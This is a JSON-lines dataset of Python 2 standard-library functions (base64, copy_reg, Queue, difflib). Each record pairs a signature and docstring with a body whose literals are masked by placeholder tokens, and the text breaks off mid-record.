{"signature": "def b32encode(s):", "body": "parts = []<EOL>quanta, leftover = divmod(len(s), <NUM_LIT:5>)<EOL>if leftover:<EOL><INDENT>s += ('<STR_LIT>' * (<NUM_LIT:5> - leftover))<EOL>quanta += <NUM_LIT:1><EOL><DEDENT>for i in range(quanta):<EOL><INDENT>c1, c2, c3 = struct.unpack('<STR_LIT>', s[i*<NUM_LIT:5>:(i+<NUM_LIT:1>)*<NUM_LIT:5>])<EOL>c2 += (c1 & <NUM_LIT:1>) << <NUM_LIT:16> <EOL>c3 += (c2 & <NUM_LIT:3>) << <NUM_LIT:8>  <EOL>parts.extend([_b32tab[c1 >> <NUM_LIT:11>],         <EOL>_b32tab[(c1 >> <NUM_LIT:6>) & <NUM_LIT>], <EOL>_b32tab[(c1 >> <NUM_LIT:1>) & <NUM_LIT>], <EOL>_b32tab[c2 >> <NUM_LIT:12>],         <EOL>_b32tab[(c2 >> <NUM_LIT:7>) & <NUM_LIT>], <EOL>_b32tab[(c2 >> <NUM_LIT:2>) & <NUM_LIT>], <EOL>_b32tab[c3 >> <NUM_LIT:5>],          <EOL>_b32tab[c3 & <NUM_LIT>],        <EOL>])<EOL><DEDENT>encoded = EMPTYSTRING.join(parts)<EOL>if leftover == <NUM_LIT:1>:<EOL><INDENT>return encoded[:-<NUM_LIT:6>] + '<STR_LIT>'<EOL><DEDENT>elif leftover == <NUM_LIT:2>:<EOL><INDENT>return encoded[:-<NUM_LIT:4>] + '<STR_LIT>'<EOL><DEDENT>elif leftover == <NUM_LIT:3>:<EOL><INDENT>return encoded[:-<NUM_LIT:3>] + '<STR_LIT>'<EOL><DEDENT>elif leftover == <NUM_LIT:4>:<EOL><INDENT>return encoded[:-<NUM_LIT:1>] + '<STR_LIT:=>'<EOL><DEDENT>return encoded<EOL>", "docstring": "Encode a string using Base32.\n\n    s is the string to encode.  The encoded string is returned.", "id": "f16403:m7"}
{"signature": "def b32decode(s, casefold=False, map01=None):", "body": "quanta, leftover = divmod(len(s), <NUM_LIT:8>)<EOL>if leftover:<EOL><INDENT>raise TypeError('<STR_LIT>')<EOL><DEDENT>if map01:<EOL><INDENT>s = s.translate(string.maketrans(b'<STR_LIT>', b'<STR_LIT:O>' + map01))<EOL><DEDENT>if casefold:<EOL><INDENT>s = s.upper()<EOL><DEDENT>padchars = <NUM_LIT:0><EOL>mo = re.search('<STR_LIT>', s)<EOL>if mo:<EOL><INDENT>padchars = len(mo.group('<STR_LIT>'))<EOL>if padchars > <NUM_LIT:0>:<EOL><INDENT>s = s[:-padchars]<EOL><DEDENT><DEDENT>parts = []<EOL>acc = <NUM_LIT:0><EOL>shift = <NUM_LIT><EOL>for c in s:<EOL><INDENT>val = _b32rev.get(c)<EOL>if val is None:<EOL><INDENT>raise TypeError('<STR_LIT>')<EOL><DEDENT>acc += _b32rev[c] << shift<EOL>shift -= <NUM_LIT:5><EOL>if shift < <NUM_LIT:0>:<EOL><INDENT>parts.append(binascii.unhexlify('<STR_LIT>' % acc))<EOL>acc = <NUM_LIT:0><EOL>shift = <NUM_LIT><EOL><DEDENT><DEDENT>last = binascii.unhexlify('<STR_LIT>' % acc)<EOL>if padchars == <NUM_LIT:0>:<EOL><INDENT>last = '<STR_LIT>'                       <EOL><DEDENT>elif padchars == <NUM_LIT:1>:<EOL><INDENT>last = last[:-<NUM_LIT:1>]<EOL><DEDENT>elif padchars == <NUM_LIT:3>:<EOL><INDENT>last = last[:-<NUM_LIT:2>]<EOL><DEDENT>elif padchars == <NUM_LIT:4>:<EOL><INDENT>last = last[:-<NUM_LIT:3>]<EOL><DEDENT>elif padchars == <NUM_LIT:6>:<EOL><INDENT>last = last[:-<NUM_LIT:4>]<EOL><DEDENT>else:<EOL><INDENT>raise TypeError('<STR_LIT>')<EOL><DEDENT>parts.append(last)<EOL>return EMPTYSTRING.join(parts)<EOL>", "docstring": "Decode a Base32 encoded string.\n\n    s is the string to decode.  Optional casefold is a flag specifying whether\n    a lowercase alphabet is acceptable as input.  For security purposes, the\n    default is False.\n\n    RFC 3548 allows for optional mapping of the digit 0 (zero) to the letter O\n    (oh), and for optional mapping of the digit 1 (one) to either the letter I\n    (eye) or letter L (el).  The optional argument map01 when not None,\n    specifies which letter the digit 1 should be mapped to (when map01 is not\n    None, the digit 0 is always mapped to the letter O).  For security\n    purposes the default is None, so that 0 and 1 are not allowed in the\n    input.\n\n    The decoded string is returned.  A TypeError is raised if s were\n    incorrectly padded or if there are non-alphabet characters present in the\n    string.", "id": "f16403:m8"}
{"signature": "def b16encode(s):", "body": "return binascii.hexlify(s).upper()<EOL>", "docstring": "Encode a string using Base16.\n\n    s is the string to encode.  The encoded string is returned.", "id": "f16403:m9"}
{"signature": "def b16decode(s, casefold=False):", "body": "if casefold:<EOL><INDENT>s = s.upper()<EOL><DEDENT>if re.search('<STR_LIT>', s):<EOL><INDENT>raise TypeError('<STR_LIT>')<EOL><DEDENT>return binascii.unhexlify(s)<EOL>", "docstring": "Decode a Base16 encoded string.\n\n    s is the string to decode.  Optional casefold is a flag specifying whether\n    a lowercase alphabet is acceptable as input.  For security purposes, the\n    default is False.\n\n    The decoded string is returned.  A TypeError is raised if s is\n    incorrectly padded or if there are non-alphabet characters present in the\n    string.", "id": "f16403:m10"}
{"signature": "def encode(input, output):", "body": "while True:<EOL><INDENT>s = input.read(MAXBINSIZE)<EOL>if not s:<EOL><INDENT>break<EOL><DEDENT>while len(s) < MAXBINSIZE:<EOL><INDENT>ns = input.read(MAXBINSIZE-len(s))<EOL>if not ns:<EOL><INDENT>break<EOL><DEDENT>s += ns<EOL><DEDENT>line = binascii.b2a_base64(s)<EOL>output.write(line)<EOL><DEDENT>", "docstring": "Encode a file.", "id": "f16403:m11"}
{"signature": "def decode(input, output):", "body": "while True:<EOL><INDENT>line = input.readline()<EOL>if not line:<EOL><INDENT>break<EOL><DEDENT>s = binascii.a2b_base64(line)<EOL>output.write(s)<EOL><DEDENT>", "docstring": "Decode a file.", "id": "f16403:m12"}
{"signature": "def encodestring(s):", "body": "pieces = []<EOL>for i in range(<NUM_LIT:0>, len(s), MAXBINSIZE):<EOL><INDENT>chunk = s[i : i + MAXBINSIZE]<EOL>pieces.append(binascii.b2a_base64(chunk))<EOL><DEDENT>return \"<STR_LIT>\".join(pieces)<EOL>", "docstring": "Encode a string into multiple lines of base-64 data.", "id": "f16403:m13"}
{"signature": "def decodestring(s):", "body": "return binascii.a2b_base64(s)<EOL>", "docstring": "Decode a string.", "id": "f16403:m14"}
{"signature": "def _slotnames(cls):", "body": "<EOL>names = cls.__dict__.get(\"<STR_LIT>\")<EOL>if names is not None:<EOL><INDENT>return names<EOL><DEDENT>names = []<EOL>if not hasattr(cls, \"<STR_LIT>\"):<EOL><INDENT>pass<EOL><DEDENT>else:<EOL><INDENT>for c in cls.__mro__:<EOL><INDENT>if \"<STR_LIT>\" in c.__dict__:<EOL><INDENT>slots = c.__dict__['<STR_LIT>']<EOL>if isinstance(slots, str):<EOL><INDENT>slots = (slots,)<EOL><DEDENT>for name in slots:<EOL><INDENT>if name in (\"<STR_LIT>\", \"<STR_LIT>\"):<EOL><INDENT>continue<EOL><DEDENT>elif name.startswith('<STR_LIT>') and not name.endswith('<STR_LIT>'):<EOL><INDENT>names.append('<STR_LIT>' % (c.__name__, name))<EOL><DEDENT>else:<EOL><INDENT>names.append(name)<EOL><DEDENT><DEDENT><DEDENT><DEDENT><DEDENT>try:<EOL><INDENT>cls.__slotnames__ = names<EOL><DEDENT>except:<EOL><INDENT>pass <EOL><DEDENT>return names<EOL>", "docstring": "Return a list of slot names for a given class.\n\n    This needs to find slots defined by the class and its bases, so we\n    can't simply return the __slots__ attribute.  We must walk down\n    the Method Resolution Order and concatenate the __slots__ of each\n    class found there.  (This assumes classes don't modify their\n    __slots__ attribute to misrepresent their slots after the class is\n    defined.)", "id": "f16404:m5"}
{"signature": "def add_extension(module, name, code):", "body": "code = int(code)<EOL>if not <NUM_LIT:1> <= code <= <NUM_LIT>:<EOL><INDENT>raise ValueError(\"<STR_LIT>\")<EOL><DEDENT>key = (module, name)<EOL>if (_extension_registry.get(key) == code and<EOL>_inverted_registry.get(code) == key):<EOL><INDENT>return <EOL><DEDENT>if key in _extension_registry:<EOL><INDENT>raise ValueError(\"<STR_LIT>\" %<EOL>(key, _extension_registry[key]))<EOL><DEDENT>if code in _inverted_registry:<EOL><INDENT>raise ValueError(\"<STR_LIT>\" %<EOL>(code, _inverted_registry[code]))<EOL><DEDENT>_extension_registry[key] = code<EOL>_inverted_registry[code] = key<EOL>", "docstring": "Register an extension code.", "id": "f16404:m6"}
{"signature": "def remove_extension(module, name, code):", "body": "key = (module, name)<EOL>if (_extension_registry.get(key) != code or<EOL>_inverted_registry.get(code) != key):<EOL><INDENT>raise ValueError(\"<STR_LIT>\" %<EOL>(key, code))<EOL><DEDENT>del _extension_registry[key]<EOL>del _inverted_registry[code]<EOL>if code in _extension_cache:<EOL><INDENT>del _extension_cache[code]<EOL><DEDENT>", "docstring": "Unregister an extension code.  For testing only.", "id": "f16404:m7"}
{"signature": "def task_done(self):", "body": "self.all_tasks_done.acquire()<EOL>try:<EOL><INDENT>unfinished = self.unfinished_tasks - <NUM_LIT:1><EOL>if unfinished <= <NUM_LIT:0>:<EOL><INDENT>if unfinished < <NUM_LIT:0>:<EOL><INDENT>raise ValueError('<STR_LIT>')<EOL><DEDENT>self.all_tasks_done.notify_all()<EOL><DEDENT>self.unfinished_tasks = unfinished<EOL><DEDENT>finally:<EOL><INDENT>self.all_tasks_done.release()<EOL><DEDENT>", "docstring": "Indicate that a formerly enqueued task is complete.\n\n        Used by Queue consumer threads.  For each get() used to fetch a task,\n        a subsequent call to task_done() tells the queue that the processing\n        on the task is complete.\n\n        If a join() is currently blocking, it will resume when all items\n        have been processed (meaning that a task_done() call was received\n        for every item that had been put() into the queue).\n\n        Raises a ValueError if called more times than there were items\n        placed in the queue.", "id": "f16406:c2:m1"}
{"signature": "def join(self):", "body": "self.all_tasks_done.acquire()<EOL>try:<EOL><INDENT>while self.unfinished_tasks:<EOL><INDENT>self.all_tasks_done.wait()<EOL><DEDENT><DEDENT>finally:<EOL><INDENT>self.all_tasks_done.release()<EOL><DEDENT>", "docstring": "Blocks until all items in the Queue have been gotten and processed.\n\n        The count of unfinished tasks goes up whenever an item is added to the\n        queue. The count goes down whenever a consumer thread calls task_done()\n        to indicate the item was retrieved and all work on it is complete.\n\n        When the count of unfinished tasks drops to zero, join() unblocks.", "id": "f16406:c2:m2"}
{"signature": "def qsize(self):", "body": "self.mutex.acquire()<EOL>n = self._qsize()<EOL>self.mutex.release()<EOL>return n<EOL>", "docstring": "Return the approximate size of the queue (not reliable!).", "id": "f16406:c2:m3"}
{"signature": "def empty(self):", "body": "self.mutex.acquire()<EOL>n = not self._qsize()<EOL>self.mutex.release()<EOL>return n<EOL>", "docstring": "Return True if the queue is empty, False otherwise (not reliable!).", "id": "f16406:c2:m4"}
{"signature": "def full(self):", "body": "self.mutex.acquire()<EOL>n = <NUM_LIT:0> < self.maxsize == self._qsize()<EOL>self.mutex.release()<EOL>return n<EOL>", "docstring": "Return True if the queue is full, False otherwise (not reliable!).", "id": "f16406:c2:m5"}
{"signature": "def put(self, item, block=True, timeout=None):", "body": "self.not_full.acquire()<EOL>try:<EOL><INDENT>if self.maxsize > <NUM_LIT:0>:<EOL><INDENT>if not block:<EOL><INDENT>if self._qsize() == self.maxsize:<EOL><INDENT>raise Full<EOL><DEDENT><DEDENT>elif timeout is None:<EOL><INDENT>while self._qsize() == self.maxsize:<EOL><INDENT>self.not_full.wait()<EOL><DEDENT><DEDENT>elif timeout < <NUM_LIT:0>:<EOL><INDENT>raise ValueError(\"<STR_LIT>\")<EOL><DEDENT>else:<EOL><INDENT>endtime = _time() + timeout<EOL>while self._qsize() == self.maxsize:<EOL><INDENT>remaining = endtime - _time()<EOL>if remaining <= <NUM_LIT:0.0>:<EOL><INDENT>raise Full<EOL><DEDENT>self.not_full.wait(remaining)<EOL><DEDENT><DEDENT><DEDENT>self._put(item)<EOL>self.unfinished_tasks += <NUM_LIT:1><EOL>self.not_empty.notify()<EOL><DEDENT>finally:<EOL><INDENT>self.not_full.release()<EOL><DEDENT>", "docstring": "Put an item into the queue.\n\n        If optional args 'block' is true and 'timeout' is None (the default),\n        block if necessary until a free slot is available. If 'timeout' is\n        a non-negative number, it blocks at most 'timeout' seconds and raises\n        the Full exception if no free slot was available within that time.\n        Otherwise ('block' is false), put an item on the queue if a free slot\n        is immediately available, else raise the Full exception ('timeout'\n        is ignored in that case).", "id": "f16406:c2:m6"}
{"signature": "def put_nowait(self, item):", "body": "return self.put(item, False)<EOL>", "docstring": "Put an item into the queue without blocking.\n\n        Only enqueue the item if a free slot is immediately available.\n        Otherwise raise the Full exception.", "id": "f16406:c2:m7"}
{"signature": "def get(self, block=True, timeout=None):", "body": "self.not_empty.acquire()<EOL>try:<EOL><INDENT>if not block:<EOL><INDENT>if not self._qsize():<EOL><INDENT>raise Empty<EOL><DEDENT><DEDENT>elif timeout is None:<EOL><INDENT>while not self._qsize():<EOL><INDENT>self.not_empty.wait()<EOL><DEDENT><DEDENT>elif timeout < <NUM_LIT:0>:<EOL><INDENT>raise ValueError(\"<STR_LIT>\")<EOL><DEDENT>else:<EOL><INDENT>endtime = _time() + timeout<EOL>while not self._qsize():<EOL><INDENT>remaining = endtime - _time()<EOL>if remaining <= <NUM_LIT:0.0>:<EOL><INDENT>raise Empty<EOL><DEDENT>self.not_empty.wait(remaining)<EOL><DEDENT><DEDENT>item = self._get()<EOL>self.not_full.notify()<EOL>return item<EOL><DEDENT>finally:<EOL><INDENT>self.not_empty.release()<EOL><DEDENT>", "docstring": "Remove and return an item from the queue.\n\n        If optional args 'block' is true and 'timeout' is None (the default),\n        block if necessary until an item is available. If 'timeout' is\n        a non-negative number, it blocks at most 'timeout' seconds and raises\n        the Empty exception if no item was available within that time.\n        Otherwise ('block' is false), return an item if one is immediately\n        available, else raise the Empty exception ('timeout' is ignored\n        in that case).", "id": "f16406:c2:m8"}
{"signature": "def get_nowait(self):", "body": "return self.get(False)<EOL>", "docstring": "Remove and return an item from the queue without blocking.\n\n        Only get an item if one is immediately available. Otherwise\n        raise the Empty exception.", "id": "f16406:c2:m9"}
{"signature": "def get_close_matches(word, possibilities, n=<NUM_LIT:3>, cutoff=<NUM_LIT>):", "body": "if not n >  <NUM_LIT:0>:<EOL><INDENT>raise ValueError(\"<STR_LIT>\" % (n,))<EOL><DEDENT>if not <NUM_LIT:0.0> <= cutoff <= <NUM_LIT:1.0>:<EOL><INDENT>raise ValueError(\"<STR_LIT>\" % (cutoff,))<EOL><DEDENT>result = []<EOL>s = SequenceMatcher()<EOL>s.set_seq2(word)<EOL>for x in possibilities:<EOL><INDENT>s.set_seq1(x)<EOL>if s.real_quick_ratio() >= cutoff ands.quick_ratio() >= cutoff ands.ratio() >= cutoff:<EOL><INDENT>result.append((s.ratio(), x))<EOL><DEDENT><DEDENT>result = heapq.nlargest(n, result)<EOL>return [x for score, x in result]<EOL>", "docstring": "Use SequenceMatcher to return list of the best \"good enough\" matches.\n\n    word is a sequence for which close matches are desired (typically a\n    string).\n\n    possibilities is a list of sequences against which to match word\n    (typically a list of strings).\n\n    Optional arg n (default 3) is the maximum number of close matches to\n    return.  n must be > 0.\n\n    Optional arg cutoff (default 0.6) is a float in [0, 1].  Possibilities\n    that don't score at least that similar to word are ignored.\n\n    The best (no more than n) matches among the possibilities are returned\n    in a list, sorted by similarity score, most similar first.\n\n    >>> get_close_matches(\"appel\", [\"ape\", \"apple\", \"peach\", \"puppy\"])\n    ['apple', 'ape']\n    >>> import keyword as _keyword\n    >>> get_close_matches(\"wheel\", _keyword.kwlist)\n    ['while']\n    >>> get_close_matches(\"apple\", _keyword.kwlist)\n    []\n    >>> get_close_matches(\"accept\", _keyword.kwlist)\n    ['except']", "id": "f16407:m2"}
{"signature": "def _count_leading(line, ch):", "body": "i, n = <NUM_LIT:0>, len(line)<EOL>while i < n and line[i] == ch:<EOL><INDENT>i += <NUM_LIT:1><EOL><DEDENT>return i<EOL>", "docstring": "Return number of `ch` characters at the start of `line`.\n\nExample:\n\n>>> _count_leading('   abc', ' ')\n3", "id": "f16407:m3"}
{"signature": "def IS_LINE_JUNK(line, pat=re.compile(r\"<STR_LIT>\").match):", "body": "return pat(line) is not None<EOL>", "docstring": "r\"\"\"\n    Return 1 for ignorable line: iff `line` is blank or contains a single '#'.\n\n    Examples:\n\n    >>> IS_LINE_JUNK('\\n')\n    True\n    >>> IS_LINE_JUNK('  #   \\n')\n    True\n    >>> IS_LINE_JUNK('hello\\n')\n    False", "id": "f16407:m4"}
{"signature": "def IS_CHARACTER_JUNK(ch, ws=\"<STR_LIT>\"):", "body": "return ch in ws<EOL>", "docstring": "r\"\"\"\n    Return 1 for ignorable character: iff `ch` is a space or tab.\n\n    Examples:\n\n    >>> IS_CHARACTER_JUNK(' ')\n    True\n    >>> IS_CHARACTER_JUNK('\\t')\n    True\n    >>> IS_CHARACTER_JUNK('\\n')\n    False\n    >>> IS_CHARACTER_JUNK('x')\n    False", "id": "f16407:m5"}
{"signature": "def _format_range_unified(start, stop):", "body": "<EOL>beginning = start + <NUM_LIT:1>     <EOL>length = stop - start<EOL>if length == <NUM_LIT:1>:<EOL><INDENT>return '<STR_LIT:%s>' % (beginning)<EOL><DEDENT>if not length:<EOL><INDENT>beginning -= <NUM_LIT:1>        <EOL><DEDENT>return '<STR_LIT>' % (beginning, length)<EOL>", "docstring": "Convert range to the \"ed\" format", "id": "f16407:m6"}
{"signature": "def unified_diff(a, b, fromfile='<STR_LIT>', tofile='<STR_LIT>', fromfiledate='<STR_LIT>',<EOL>tofiledate='<STR_LIT>', n=<NUM_LIT:3>, lineterm='<STR_LIT:\\n>'):", "body": "started = False<EOL>for group in SequenceMatcher(None,a,b).get_grouped_opcodes(n):<EOL><INDENT>if not started:<EOL><INDENT>started = True<EOL>fromdate = '<STR_LIT>' % (fromfiledate) if fromfiledate else '<STR_LIT>'<EOL>todate = '<STR_LIT>' % (tofiledate) if tofiledate else '<STR_LIT>'<EOL>yield '<STR_LIT>' % (fromfile, fromdate, lineterm)<EOL>yield '<STR_LIT>' % (tofile, todate, lineterm)<EOL><DEDENT>first, last = group[<NUM_LIT:0>], group[-<NUM_LIT:1>]<EOL>file1_range = _format_range_unified(first[<NUM_LIT:1>], last[<NUM_LIT:2>])<EOL>file2_range = _format_range_unified(first[<NUM_LIT:3>], last[<NUM_LIT:4>])<EOL>yield '<STR_LIT>' % (file1_range, file2_range, lineterm)<EOL>for tag, i1, i2, j1, j2 in group:<EOL><INDENT>if tag == '<STR_LIT>':<EOL><INDENT>for line in a[i1:i2]:<EOL><INDENT>yield '<STR_LIT:U+0020>' + line<EOL><DEDENT>continue<EOL><DEDENT>if tag in ('<STR_LIT:replace>', '<STR_LIT>'):<EOL><INDENT>for line in a[i1:i2]:<EOL><INDENT>yield '<STR_LIT:->' + line<EOL><DEDENT><DEDENT>if tag in ('<STR_LIT:replace>', '<STR_LIT>'):<EOL><INDENT>for line in b[j1:j2]:<EOL><INDENT>yield '<STR_LIT:+>' + line<EOL><DEDENT><DEDENT><DEDENT><DEDENT>", "docstring": "r\"\"\"\n    Compare two sequences of lines; generate the delta as a unified diff.\n\n    Unified diffs are a compact way of showing line changes and a few\n    lines of context.  The number of context lines is set by 'n' which\n    defaults to three.\n\n    By default, the diff control lines (those with ---, +++, or @@) are\n    created with a trailing newline.  This is helpful so that inputs\n    created from file.readlines() result in diffs that are suitable for\n    file.writelines() since both the inputs and outputs have trailing\n    newlines.\n\n    For inputs that do not have trailing newlines, set the lineterm\n    argument to \"\" so that the output will be uniformly newline free.\n\n    The unidiff format normally has a header for filenames and modification\n    times.  Any or all of these may be specified using strings for\n    'fromfile', 'tofile', 'fromfiledate', and 'tofiledate'.\n    The modification times are normally expressed in the ISO 8601 format.\n\n    Example:\n\n    >>> for line in unified_diff('one two three four'.split(),\n    ...             'zero one tree four'.split(), 'Original', 'Current',\n    ...             '2005-01-26 23:30:50', '2010-04-02 10:20:52',\n    ...             lineterm=''):\n    ...     print line                  # doctest: +NORMALIZE_WHITESPACE\n    --- Original        2005-01-26 23:30:50\n    +++ Current         2010-04-02 10:20:52\n    @@ -1,4 +1,4 @@\n    +zero\n     one\n    -two\n    -three\n    +tree\n     four", "id": "f16407:m7"}
{"signature": "def _format_range_context(start, stop):", "body": "<EOL>beginning = start + <NUM_LIT:1>     <EOL>length = stop - start<EOL>if not length:<EOL><INDENT>beginning -= <NUM_LIT:1>        <EOL><DEDENT>if length <= <NUM_LIT:1>:<EOL><INDENT>return '<STR_LIT:%s>' % (beginning)<EOL><DEDENT>return '<STR_LIT>' % (beginning, beginning + length - <NUM_LIT:1>)<EOL>", "docstring": "Convert range to the \"ed\" format", "id": "f16407:m8"}
{"signature": "def context_diff(a, b, fromfile='<STR_LIT>', tofile='<STR_LIT>',<EOL>fromfiledate='<STR_LIT>', tofiledate='<STR_LIT>', n=<NUM_LIT:3>, lineterm='<STR_LIT:\\n>'):", "body": "prefix = dict(insert='<STR_LIT>', delete='<STR_LIT>', replace='<STR_LIT>', equal='<STR_LIT:U+0020>')<EOL>started = False<EOL>for group in SequenceMatcher(None,a,b).get_grouped_opcodes(n):<EOL><INDENT>if not started:<EOL><INDENT>started = True<EOL>fromdate = '<STR_LIT>' % (fromfiledate) if fromfiledate else '<STR_LIT>'<EOL>todate = '<STR_LIT>' % (tofiledate) if tofiledate else '<STR_LIT>'<EOL>yield '<STR_LIT>' % (fromfile, fromdate, lineterm)<EOL>yield '<STR_LIT>' % (tofile, todate, lineterm)<EOL><DEDENT>first, last = group[<NUM_LIT:0>], group[-<NUM_LIT:1>]<EOL>yield '<STR_LIT>' + lineterm<EOL>file1_range = _format_range_context(first[<NUM_LIT:1>], last[<NUM_LIT:2>])<EOL>yield '<STR_LIT>' % (file1_range, lineterm)<EOL>if any(tag in ('<STR_LIT:replace>', '<STR_LIT>') for tag, _, _, _, _ in group):<EOL><INDENT>for tag, i1, i2, _, _ in group:<EOL><INDENT>if tag != '<STR_LIT>':<EOL><INDENT>for line in a[i1:i2]:<EOL><INDENT>yield prefix[tag] + line<EOL><DEDENT><DEDENT><DEDENT><DEDENT>file2_range = _format_range_context(first[<NUM_LIT:3>], last[<NUM_LIT:4>])<EOL>yield '<STR_LIT>' % (file2_range, lineterm)<EOL>if any(tag in ('<STR_LIT:replace>', '<STR_LIT>') for tag, _, _, _, _ in group):<EOL><INDENT>for tag, _, _, j1, j2 in group:<EOL><INDENT>if tag != '<STR_LIT>':<EOL><INDENT>for line in b[j1:j2]:<EOL><INDENT>yield prefix[tag] + line<EOL><DEDENT><DEDENT><DEDENT><DEDENT><DEDENT>", "docstring": "r\"\"\"\n    Compare two sequences of lines; generate the delta as a context diff.\n\n    Context diffs are a compact way of showing line changes and a few\n    lines of context.  The number of context lines is set by 'n' which\n    defaults to three.\n\n    By default, the diff control lines (those with *** or ---) are\n    created with a trailing newline.  This is helpful so that inputs\n    created from file.readlines() result in diffs that are suitable for\n    file.writelines() since both the inputs and outputs have trailing\n    newlines.\n\n    For inputs that do not have trailing newlines, set the lineterm\n    argument to \"\" so that the output will be uniformly newline free.\n\n    The context diff format normally has a header for filenames and\n    modification times.  Any or all of these may be specified using\n    strings for 'fromfile', 'tofile', 'fromfiledate', and 'tofiledate'.\n    The modification times are normally expressed in the ISO 8601 format.\n    If not specified, the strings default to blanks.\n\n    Example:\n\n    >>> print ''.join(context_diff('one\\ntwo\\nthree\\nfour\\n'.splitlines(1),\n    ...       'zero\\none\\ntree\\nfour\\n'.splitlines(1), 'Original', 'Current')),\n    *** Original\n    --- Current\n    ***************\n    *** 1,4 ****\n      one\n    ! two\n    ! three\n      four\n    --- 1,4 ----\n    + zero\n      one\n    ! tree\n      four", "id": "f16407:m9"}
{"signature": "def ndiff(a, b, linejunk=None, charjunk=IS_CHARACTER_JUNK):", "body": "return Differ(linejunk, charjunk).compare(a, b)<EOL>", "docstring": "r\"\"\"\n    Compare `a` and `b` (lists of strings); return a `Differ`-style delta.\n\n    Optional keyword parameters `linejunk` and `charjunk` are for filter\n    functions (or None):\n\n    - linejunk: A function that should accept a single string argument, and\n      return true iff the string is junk.  The default is None, and is\n      recommended; as of Python 2.3, an adaptive notion of \"noise\" lines is\n      used that does a good job on its own.\n\n    - charjunk: A function that should accept a string of length 1. The\n      default is module-level function IS_CHARACTER_JUNK, which filters out\n      whitespace characters (a blank or tab; note: bad idea to include newline\n      in this!).\n\n    Tools/scripts/ndiff.py is a command-line front-end to this function.\n\n    Example:\n\n    >>> diff = ndiff('one\\ntwo\\nthree\\n'.splitlines(1),\n    ...              'ore\\ntree\\nemu\\n'.splitlines(1))\n    >>> print ''.join(diff),\n    - one\n    ?  ^\n    + ore\n    ?  ^\n    - two\n    - three\n    ?  -\n    + tree\n    + emu", "id": "f16407:m10"}
{"signature": "def _mdiff(fromlines, tolines, context=None, linejunk=None,<EOL>charjunk=IS_CHARACTER_JUNK):", "body": "import re<EOL>change_re = re.compile('<STR_LIT>')<EOL>diff_lines_iterator = ndiff(fromlines,tolines,linejunk,charjunk)<EOL>def _make_line(lines, format_key, side, num_lines=[<NUM_LIT:0>,<NUM_LIT:0>]):<EOL><INDENT>\"\"\"<STR_LIT>\"\"\"<EOL>num_lines[side] += <NUM_LIT:1><EOL>if format_key is None:<EOL><INDENT>return (num_lines[side],lines.pop(<NUM_LIT:0>)[<NUM_LIT:2>:])<EOL><DEDENT>if format_key == '<STR_LIT:?>':<EOL><INDENT>text, markers = lines.pop(<NUM_LIT:0>), lines.pop(<NUM_LIT:0>)<EOL>sub_info = []<EOL>def record_sub_info(match_object,sub_info=sub_info):<EOL><INDENT>sub_info.append([match_object.group(<NUM_LIT:1>)[<NUM_LIT:0>],match_object.span()])<EOL>return match_object.group(<NUM_LIT:1>)<EOL><DEDENT>change_re.sub(record_sub_info,markers)<EOL>for key,(begin,end) in sub_info[::-<NUM_LIT:1>]:<EOL><INDENT>text = text[<NUM_LIT:0>:begin]+'<STR_LIT>'+key+text[begin:end]+'<STR_LIT>'+text[end:]<EOL><DEDENT>text = text[<NUM_LIT:2>:]<EOL><DEDENT>else:<EOL><INDENT>text = lines.pop(<NUM_LIT:0>)[<NUM_LIT:2>:]<EOL>if not text:<EOL><INDENT>text = '<STR_LIT:U+0020>'<EOL><DEDENT>text = '<STR_LIT>' + format_key + text + '<STR_LIT>'<EOL><DEDENT>return (num_lines[side],text)<EOL><DEDENT>def _line_iterator():<EOL><INDENT>\"\"\"<STR_LIT>\"\"\"<EOL>lines = []<EOL>num_blanks_pending, num_blanks_to_yield = <NUM_LIT:0>, <NUM_LIT:0><EOL>while True:<EOL><INDENT>while len(lines) < <NUM_LIT:4>:<EOL><INDENT>try:<EOL><INDENT>lines.append(next(diff_lines_iterator))<EOL><DEDENT>except StopIteration:<EOL><INDENT>lines.append('<STR_LIT:X>')<EOL><DEDENT><DEDENT>s = '<STR_LIT>'.join([line[<NUM_LIT:0>] for line in lines])<EOL>if s.startswith('<STR_LIT:X>'):<EOL><INDENT>num_blanks_to_yield = num_blanks_pending<EOL><DEDENT>elif s.startswith('<STR_LIT>'):<EOL><INDENT>yield _make_line(lines,'<STR_LIT:?>',<NUM_LIT:0>), _make_line(lines,'<STR_LIT:?>',<NUM_LIT:1>), True<EOL>continue<EOL><DEDENT>elif s.startswith('<STR_LIT>'):<EOL><INDENT>num_blanks_pending -= <NUM_LIT:1><EOL>yield _make_line(lines,'<STR_LIT:->',<NUM_LIT:0>), None, True<EOL>continue<EOL><DEDENT>elif s.startswith(('<STR_LIT>', '<STR_LIT>', '<STR_LIT>')):<EOL><INDENT>from_line,to_line = _make_line(lines,'<STR_LIT:->',<NUM_LIT:0>), None<EOL>num_blanks_to_yield,num_blanks_pending = num_blanks_pending-<NUM_LIT:1>,<NUM_LIT:0><EOL><DEDENT>elif s.startswith('<STR_LIT>'):<EOL><INDENT>yield _make_line(lines,None,<NUM_LIT:0>), _make_line(lines,'<STR_LIT:?>',<NUM_LIT:1>), True<EOL>continue<EOL><DEDENT>elif s.startswith('<STR_LIT>'):<EOL><INDENT>yield _make_line(lines,'<STR_LIT:?>',<NUM_LIT:0>), _make_line(lines,None,<NUM_LIT:1>), True<EOL>continue<EOL><DEDENT>elif s.startswith('<STR_LIT:->'):<EOL><INDENT>num_blanks_pending -= <NUM_LIT:1><EOL>yield _make_line(lines,'<STR_LIT:->',<NUM_LIT:0>), None, True<EOL>continue<EOL><DEDENT>elif s.startswith('<STR_LIT>'):<EOL><INDENT>num_blanks_pending += <NUM_LIT:1><EOL>yield None, _make_line(lines,'<STR_LIT:+>',<NUM_LIT:1>), True<EOL>continue<EOL><DEDENT>elif s.startswith(('<STR_LIT>', '<STR_LIT>')):<EOL><INDENT>from_line, to_line = None, _make_line(lines,'<STR_LIT:+>',<NUM_LIT:1>)<EOL>num_blanks_to_yield,num_blanks_pending = num_blanks_pending+<NUM_LIT:1>,<NUM_LIT:0><EOL><DEDENT>elif s.startswith('<STR_LIT:+>'):<EOL><INDENT>num_blanks_pending += <NUM_LIT:1><EOL>yield None, _make_line(lines,'<STR_LIT:+>',<NUM_LIT:1>), True<EOL>continue<EOL><DEDENT>elif s.startswith('<STR_LIT:U+0020>'):<EOL><INDENT>yield _make_line(lines[:],None,<NUM_LIT:0>),_make_line(lines,None,<NUM_LIT:1>),False<EOL>continue<EOL><DEDENT>while(num_blanks_to_yield < <NUM_LIT:0>):<EOL><INDENT>num_blanks_to_yield += <NUM_LIT:1><EOL>yield 